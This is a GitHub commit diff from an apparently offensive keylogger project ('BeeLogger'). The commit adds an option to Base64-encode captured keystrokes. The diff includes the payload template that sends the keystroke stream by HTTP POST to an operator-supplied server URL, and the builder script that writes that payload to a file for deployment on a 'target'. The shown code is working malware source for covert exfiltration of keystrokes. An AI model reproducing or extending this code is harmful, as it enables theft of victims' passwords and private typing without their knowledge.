Skip to content

Commit 797e77e

Browse files
author
xmaster
committed
Allow choosing if to encode as base64 or not1
1 parent 3dbc643 commit 797e77e

File tree

3 files changed

+11
-5
lines changed

3 files changed

+11
-5
lines changed

README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -88,7 +88,7 @@ To disable bee just run [UnInfectMe.bat](UnInfectMe.bat) on target.
8888
Due to the need of 'requests' to run HTTP POST commands, run this on installation:
8989
wine ~/.wine/drive_c/Python27/python -m pip install requests
9090

91-
To avoid issues with the HTTP stream sending to be used as XML or JSON (in case it contains special charecters), the data is going to be encoded in Base64
91+
To avoid issues with the HTTP stream sending to be used as XML or JSON (in case it contains special charecters), the data can be encoded in Base64
9292

9393
### Tested on:
9494

Templates/Bee_POST.py

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -43,11 +43,13 @@ def send_http_post():
4343
#SERVER_URL = The server URL to post to
4444
#POST_DATA = The post data to include.
4545
# Use $KeyStream$ for the area of the keystream
46-
# Use $Date$ for the sending date
47-
48-
base64encodedData = base64.encodestring(data)
46+
# Use $Date$ for the sending date
47+
#BASE64_ENC - if to encode as base64
48+
keysData = data
49+
if BASE64_ENC == 'y':
50+
keysData = base64.encodestring(keysData)
4951
postData = POST_DATA
50-
postData = postData.replace('$KeyStream$', base64encodedData)
52+
postData = postData.replace('$KeyStream$', keysData)
5153
postData = postData.replace('$Date$', str(timeInSecs) )
5254

5355
requests.post(SERVER_URL, data=postData)

bee.py

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -17,10 +17,13 @@ def begin_http():
1717
# TEMPORARY UNAVAILABLE # print "\n{0}You can see a list with servers and ports in SERVERS.txt on BeeLogger folder.{1}".format(GREEN,END)
1818
serverURL = raw_input('Type the server URL to post data to: ')
1919
postData = raw_input('Type the POST data format ($KeyStream$=the keys stream, $Date$-date): ')
20+
base64encode = raw_input('Do you want to encode the keys in Base64 (y/n): ');
21+
2022
print '\n'
2123
print '[ * * * * * * * * * * * * * * * * * * * * * * * * * ]'
2224
print '\n serverURL: ' + serverURL
2325
print ' postData: ' + postData
26+
print ' Encode the keys stream in Base64: ' + str(base64encode == 'y')
2427
print '\n[ * * * * * * * * * * * * * * * * * * * * * * * * * ]'
2528
print '\n'
2629
ask = raw_input('These info above are correct? (y/n) :')
@@ -34,6 +37,7 @@ def begin_http():
3437
payload += '# -*- coding: utf-8 -*-\n'
3538
payload += 'SERVER_URL = ' + "'" + serverURL + "'" + '\n'
3639
payload += 'POST_DATA = ' + "'" + postData + "'" + '\n'
40+
payload += 'BASE64_ENC = ' + "'" + base64encode + "'" + '\n'
3741
payload += str(o)
3842
with open('k.py', 'w') as f:
3943
f.write(payload)

0 commit comments

Comments
 (0)